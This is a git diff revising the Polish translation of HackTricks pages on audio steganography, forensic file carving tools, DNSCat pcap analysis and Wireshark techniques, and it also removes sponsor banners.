||||
## **Wyciąganie danych z plików dźwiękowych**
|
||||
## **Ekstrakcja danych z audio**
|
||||
|
||||
**Steganografia dźwiękowa** oferuje unikalną metodę ukrywania informacji w plikach dźwiękowych. Do osadzania lub odzyskiwania ukrytej zawartości wykorzystuje się różne narzędzia.
|
||||
**Steganografia audio** oferuje unikalną metodę ukrywania informacji w plikach dźwiękowych. Różne narzędzia są wykorzystywane do osadzania lub odzyskiwania ukrytej zawartości.
|
||||
|
||||
### **Steghide (JPEG, BMP, WAV, AU)**
|
||||
|
||||
Steghide to wszechstronne narzędzie przeznaczone do ukrywania danych w plikach JPEG, BMP, WAV i AU. Szczegółowe instrukcje znajdują się w [dokumentacji trików steganograficznych](stego-tricks.md#steghide).
|
||||
Steghide to wszechstronne narzędzie zaprojektowane do ukrywania danych w plikach JPEG, BMP, WAV i AU. Szczegółowe instrukcje znajdują się w [dokumentacji stego tricks](stego-tricks.md#steghide).
|
||||
|
||||
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
||||
|
||||
To narzędzie jest kompatybilne z różnymi formatami, w tym PNG, BMP, GIF, WebP i WAV. Aby uzyskać więcej informacji, zajrzyj do [sekcji Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
|
||||
To narzędzie jest kompatybilne z różnymi formatami, w tym PNG, BMP, GIF, WebP i WAV. Aby uzyskać więcej informacji, zapoznaj się z [sekcją Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
|
||||
|
||||
### **ffmpeg**
|
||||
|
||||
ffmpeg jest kluczowy do oceny integralności plików dźwiękowych, podkreślając szczegółowe informacje i wskazując wszelkie niezgodności.
|
||||
ffmpeg jest kluczowe do oceny integralności plików audio, podkreślając szczegółowe informacje i wskazując wszelkie nieprawidłowości.
|
||||
```bash
|
||||
ffmpeg -v info -i stego.mp3 -f null -
|
||||
```
|
||||
### **WavSteg (WAV)**
|
||||
|
||||
WavSteg doskonale sprawdza się w ukrywaniu i wydobywaniu danych w plikach WAV, korzystając z strategii najmniej znaczącego bitu. Jest dostępny na [GitHub](https://github.com/ragibson/Steganography#WavSteg). Komendy obejmują:
|
||||
WavSteg doskonale ukrywa i wydobywa dane w plikach WAV, wykorzystując strategię najmniej znaczącego bitu. Jest dostępny na [GitHub](https://github.com/ragibson/Steganography#WavSteg). Komendy obejmują:
|
||||
```bash
|
||||
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
|
||||
|
||||
|
@ -180,55 +174,47 @@ python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
|
|||
```
|
||||
### **Deepsound**
|
||||
|
||||
Deepsound umożliwia szyfrowanie i wykrywanie informacji w plikach dźwiękowych za pomocą AES-256. Można go pobrać ze [strony oficjalnej](http://jpinsoft.net/deepsound/download.aspx).
|
||||
Deepsound pozwala na szyfrowanie i wykrywanie informacji w plikach dźwiękowych za pomocą AES-256. Można go pobrać z [oficjalnej strony](http://jpinsoft.net/deepsound/download.aspx).
|
||||
|
||||
### **Sonic Visualizer**
|
||||
|
||||
Niezastąpione narzędzie do wizualnej i analitycznej inspekcji plików audio, Sonic Visualizer może ujawnić ukryte elementy niewykrywalne innymi środkami. Odwiedź [oficjalną stronę internetową](https://www.sonicvisualiser.org/) po więcej informacji.
|
||||
Niezastąpione narzędzie do wizualnej i analitycznej inspekcji plików audio, Sonic Visualizer może ujawniać ukryte elementy niewykrywalne innymi metodami. Odwiedź [oficjalną stronę](https://www.sonicvisualiser.org/), aby dowiedzieć się więcej.
|
||||
|
||||
### **DTMF Tones - Sygnały wybierania**
|
||||
### **DTMF Tones - Dial Tones**
|
||||
|
||||
Wykrywanie sygnałów DTMF w plikach audio można osiągnąć za pomocą narzędzi online, takich jak [ten detektor DTMF](https://unframework.github.io/dtmf-detect/) i [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||
Wykrywanie tonów DTMF w plikach audio można osiągnąć za pomocą narzędzi online, takich jak [ten detektor DTMF](https://unframework.github.io/dtmf-detect/) i [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||
|
||||
## **Inne Techniki**
|
||||
## **Other Techniques**
|
||||
|
||||
### **Długość binarna SQRT - Kod QR**
|
||||
### **Binary Length SQRT - QR Code**
|
||||
|
||||
Dane binarne, które dają liczbę całkowitą po podniesieniu do kwadratu, mogą reprezentować kod QR. Skorzystaj z tego fragmentu, aby sprawdzić:
|
||||
Dane binarne, które są kwadratem liczby całkowitej, mogą reprezentować kod QR. Użyj tego fragmentu, aby sprawdzić:
|
||||
```python
|
||||
import math
|
||||
math.sqrt(2500) #50
|
||||
```
|
||||
### **Tłumaczenie na język polski**
|
||||
For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/).
|
||||
|
||||
Do konwersji binarnej na obraz, sprawdź [dcode](https://www.dcode.fr/binary-image). Aby odczytać kody QR, skorzystaj z [tego czytnika kodów kreskowych online](https://online-barcode-reader.inliteresearch.com/).
|
||||
### **Tłumaczenie Braille'a**
|
||||
|
||||
### **Tłumaczenie na alfabet Braille'a**
|
||||
|
||||
Do tłumaczenia na alfabet Braille'a, [Tłumacz Braille'a Branah](https://www.branah.com/braille-translator) to doskonałe źródło.
|
||||
For translating Braille, the [Branah Braille Translator](https://www.branah.com/braille-translator) is an excellent resource.
|
||||
|
||||
## **Referencje**
|
||||
|
||||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Naucz się i praktykuj Hacking w AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Naucz się i praktykuj Hacking w GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wesprzyj HackTricks</summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Udostępniaj sztuczki hakerskie, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,27 +15,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Carving & Recovery tools
|
||||
|
||||
Więcej narzędzi w [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
||||
### Autopsy
|
||||
|
||||
Najczęściej używane narzędzie w forensyce do ekstrakcji plików z obrazów to [**Autopsy**](https://www.autopsy.com/download/). Pobierz je, zainstaluj i spraw, aby przetworzyło plik w celu znalezienia "ukrytych" plików. Zauważ, że Autopsy jest zaprojektowane do obsługi obrazów dysków i innych rodzajów obrazów, ale nie prostych plików.
|
||||
Najczęściej używane narzędzie w forensyce do ekstrakcji plików z obrazów to [**Autopsy**](https://www.autopsy.com/download/). Pobierz je, zainstaluj i spraw, aby przetworzyło plik, aby znaleźć "ukryte" pliki. Zauważ, że Autopsy jest zaprojektowane do obsługi obrazów dysków i innych rodzajów obrazów, ale nie prostych plików.
|
||||
|
||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
**Binwalk** to narzędzie do analizy plików binarnych w celu znalezienia osadzonych treści. Można je zainstalować za pomocą `apt`, a jego źródło znajduje się na [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
|
||||
**Przydatne komendy**:
|
||||
**Przydatne polecenia**:
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
binwalk file #Displays the embedded data in the given file
|
||||
|
@ -61,7 +53,7 @@ scalpel file.img -o output
|
|||
|
||||
To narzędzie znajduje się w Kali, ale możesz je znaleźć tutaj: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
|
||||
To narzędzie może przeskanować obraz i **wyodrębnić pcaps** w nim, **informacje o sieci (URL, domeny, IP, MAC, maile)** i więcej **plików**. Musisz tylko zrobić:
|
||||
To narzędzie może skanować obraz i **wyodrębniać pcaps** w nim, **informacje o sieci (URL, domeny, IP, MAC, maile)** i więcej **plików**. Musisz tylko zrobić:
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
|
@ -90,9 +82,9 @@ Sprawdź [kod](https://code.google.com/archive/p/binvis/) i [stronę narzędzia]
|
|||
* **Identyfikacja** steganografii na podstawie wzorców
|
||||
* **Wizualna** różnica binarna
|
||||
|
||||
BinVis to świetny **punkt wyjścia, aby zapoznać się z nieznanym celem** w scenariuszu black-box.
|
||||
BinVis to świetny **punkt wyjścia do zapoznania się z nieznanym celem** w scenariuszu black-box.
|
||||
|
||||
## Specyficzne narzędzia do odzyskiwania danych
|
||||
## Specyficzne narzędzia do wydobywania danych
|
||||
|
||||
### FindAES
|
||||
|
||||
|
@ -105,12 +97,6 @@ Pobierz [tutaj](https://sourceforge.net/projects/findaes/).
|
|||
Możesz użyć [**viu**](https://github.com/atanunq/viu), aby zobaczyć obrazy z terminala.\
|
||||
Możesz użyć narzędzia wiersza poleceń Linux **pdftotext**, aby przekształcić plik pdf w tekst i go przeczytać.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -121,7 +107,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Carving & Recovery tools
|
||||
|
||||
Więcej narzędzi w [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
@ -35,7 +27,7 @@ Najczęściej używane narzędzie w forensyce do ekstrakcji plików z obrazów t
|
|||
|
||||
**Binwalk** to narzędzie do analizy plików binarnych w celu znalezienia osadzonych treści. Można je zainstalować za pomocą `apt`, a jego źródło znajduje się na [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
|
||||
**Przydatne polecenia**:
|
||||
**Przydatne komendy**:
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
binwalk file #Displays the embedded data in the given file
|
||||
|
@ -44,7 +36,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
|||
```
|
||||
### Foremost
|
||||
|
||||
Innym powszechnym narzędziem do znajdowania ukrytych plików jest **foremost**. Możesz znaleźć plik konfiguracyjny foremost w `/etc/foremost.conf`. Jeśli chcesz wyszukać konkretne pliki, odkomentuj je. Jeśli nic nie odkomentujesz, foremost będzie szukać domyślnie skonfigurowanych typów plików.
|
||||
Innym powszechnym narzędziem do znajdowania ukrytych plików jest **foremost**. Plik konfiguracyjny foremost znajduje się w `/etc/foremost.conf`. Jeśli chcesz wyszukać konkretne pliki, odkomentuj je. Jeśli nic nie odkomentujesz, foremost będzie szukać domyślnie skonfigurowanych typów plików.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
|
@ -61,11 +53,11 @@ scalpel file.img -o output
|
|||
|
||||
To narzędzie znajduje się w Kali, ale możesz je znaleźć tutaj: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
|
||||
To narzędzie może skanować obraz i **wyodrębniać pcaps** w nim, **informacje o sieci (URL, domeny, IP, MAC, maile)** i więcej **plików**. Musisz tylko zrobić:
|
||||
To narzędzie może skanować obraz i **wyodrębnić pcaps** w nim, **informacje o sieci (URL, domeny, IP, MAC, maile)** i więcej **plików**. Musisz tylko zrobić:
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
Przejrzyj **wszystkie informacje**, które narzędzie zebrało (hasła?), **analizuj** **pakiety** (przeczytaj [**analizę Pcaps**](../pcap-inspection/)), szukaj **dziwnych domen** (domen związanych z **złośliwym oprogramowaniem** lub **nieistniejącymi**).
|
||||
Przejrzyj **wszystkie informacje**, które narzędzie zgromadziło (hasła?), **analizuj** **pakiety** (przeczytaj [**analizę Pcaps**](../pcap-inspection/)), szukaj **dziwnych domen** (domen związanych z **złośliwym oprogramowaniem** lub **nieistniejących**).
|
||||
|
||||
### PhotoRec
|
||||
|
||||
|
@ -77,7 +69,7 @@ Dostępna jest wersja z interfejsem graficznym i wiersza poleceń. Możesz wybra
|
|||
|
||||
### binvis
|
||||
|
||||
Sprawdź [kod](https://code.google.com/archive/p/binvis/) i [stronę narzędzia](https://binvis.io/#/).
|
||||
Sprawdź [kod](https://code.google.com/archive/p/binvis/) oraz [stronę narzędzia](https://binvis.io/#/).
|
||||
|
||||
#### Cechy BinVis
|
||||
|
||||
|
@ -92,7 +84,7 @@ Sprawdź [kod](https://code.google.com/archive/p/binvis/) i [stronę narzędzia]
|
|||
|
||||
BinVis to świetny **punkt wyjścia, aby zapoznać się z nieznanym celem** w scenariuszu black-box.
|
||||
|
||||
## Specyficzne narzędzia do wydobywania danych
|
||||
## Specyficzne narzędzia do odzyskiwania danych
|
||||
|
||||
### FindAES
|
||||
|
||||
|
@ -105,12 +97,6 @@ Pobierz [tutaj](https://sourceforge.net/projects/findaes/).
|
|||
Możesz użyć [**viu**](https://github.com/atanunq/viu), aby zobaczyć obrazy z terminala.\
|
||||
Możesz użyć narzędzia wiersza poleceń Linux **pdftotext**, aby przekształcić plik pdf w tekst i go przeczytać.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -120,8 +106,8 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) oraz [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,27 +9,15 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **wyszukiwarka** zasilana **dark-web**, która oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
Jeśli masz pcap z danymi **wykradanymi przez DNSCat** (bez użycia szyfrowania), możesz znaleźć wykradnięte treści.
|
||||
Jeśli masz pcap z danymi **wyciekającymi przez DNSCat** (bez użycia szyfrowania), możesz znaleźć wyekstrahowaną zawartość.
|
||||
|
||||
Musisz tylko wiedzieć, że **pierwsze 9 bajtów** nie są rzeczywistymi danymi, ale są związane z **komunikacją C\&C**:
|
||||
```python
|
||||
|
@ -63,11 +51,11 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,25 +15,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany przez **dark-web**, który oferuje **darmowe** funkcje do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Improve your Wireshark skills
|
||||
|
||||
### Tutorials
|
||||
|
||||
Następujące samouczki są świetne do nauki kilku fajnych podstawowych trików:
|
||||
The following tutorials are amazing to learn some cool basic tricks:
|
||||
|
||||
* [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/)
|
||||
* [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/)
|
||||
|
@ -56,19 +43,19 @@ Pod _**Statistics --> Resolved Addresses**_ możesz znaleźć kilka **informacji
|
|||
|
||||
**Protocol Hierarchy**
|
||||
|
||||
Pod _**Statistics --> Protocol Hierarchy**_ możesz znaleźć **protokoły** **zaangażowane** w komunikację oraz dane o nich.
|
||||
Pod _**Statistics --> Protocol Hierarchy**_ możesz znaleźć **protokoły** **zaangażowane** w komunikację oraz dane na ich temat.
|
||||
|
||||
![](<../../../.gitbook/assets/image (586).png>)
|
||||
|
||||
**Conversations**
|
||||
|
||||
Pod _**Statistics --> Conversations**_ możesz znaleźć **podsumowanie rozmów** w komunikacji oraz dane o nich.
|
||||
Pod _**Statistics --> Conversations**_ możesz znaleźć **podsumowanie rozmów** w komunikacji oraz dane na ich temat.
|
||||
|
||||
![](<../../../.gitbook/assets/image (453).png>)
|
||||
|
||||
**Endpoints**
|
||||
|
||||
Pod _**Statistics --> Endpoints**_ możesz znaleźć **podsumowanie punktów końcowych** w komunikacji oraz dane o każdym z nich.
|
||||
Pod _**Statistics --> Endpoints**_ możesz znaleźć **podsumowanie punktów końcowych** w komunikacji oraz dane na ich temat.
|
||||
|
||||
![](<../../../.gitbook/assets/image (896).png>)
|
||||
|
||||
|
@ -98,7 +85,7 @@ Inne interesujące filtry:
|
|||
|
||||
### Search
|
||||
|
||||
Jeśli chcesz **wyszukiwać** **treść** wewnątrz **pakietów** sesji, naciśnij _CTRL+f_. Możesz dodać nowe warstwy do głównego paska informacji (Nr, Czas, Źródło itp.) naciskając prawy przycisk i następnie edytując kolumnę.
|
||||
Jeśli chcesz **wyszukiwać** **treść** wewnątrz **pakietów** sesji, naciśnij _CTRL+f_. Możesz dodać nowe warstwy do głównego paska informacyjnego (Nr, Czas, Źródło itp.) naciskając prawy przycisk i następnie edytując kolumnę.
|
||||
|
||||
### Free pcap labs
|
||||
|
||||
|
@ -140,7 +127,7 @@ Naciśnij _Edit_ i dodaj wszystkie dane serwera oraz klucz prywatny (_IP, Port,
|
|||
|
||||
Zarówno Firefox, jak i Chrome mają możliwość rejestrowania kluczy sesji TLS, które można wykorzystać z Wireshark do odszyfrowania ruchu TLS. Umożliwia to szczegółową analizę zabezpieczonej komunikacji. Więcej informacji na temat tego, jak przeprowadzić to odszyfrowanie, można znaleźć w przewodniku na stronie [Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/).
|
||||
|
||||
Aby to wykryć, przeszukaj środowisko pod kątem zmiennej `SSLKEYLOGFILE`
|
||||
Aby to wykryć, przeszukaj środowisko w poszukiwaniu zmiennej `SSLKEYLOGFILE`
|
||||
|
||||
Plik z kluczami współdzielonymi będzie wyglądał tak:
|
||||
|
||||
|
@ -179,18 +166,6 @@ f = open('all_bytes.data', 'w+b')
|
|||
f.write(all_bytes)
|
||||
f.close()
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **wyszukiwarka** zasilana **dark-web**, która oferuje **darmowe** funkcje sprawdzania, czy firma lub jej klienci zostali **skompromentowani** przez **malware kradnące**.
|
||||
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z malware kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -201,7 +176,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,25 @@
|
|||
# Wyciekanie danych
|
||||
# Exfiltration
|
||||
|
||||
{% hint style="success" %}
|
||||
